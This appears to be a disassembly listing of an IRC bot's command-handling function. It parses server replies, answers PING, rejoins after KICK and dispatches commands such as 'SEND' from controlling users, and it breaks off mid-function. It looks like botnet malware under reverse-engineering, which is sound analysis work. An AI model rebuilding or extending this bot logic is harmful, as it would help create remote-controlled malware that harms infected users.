var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA30 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA2C ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA28 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h

loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax

loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h

loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0

loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87

loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B

loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083

loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019

loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C968

loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220

loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx

loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C944
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854

loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C928
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6

loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------

loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1

loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C8E8
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A

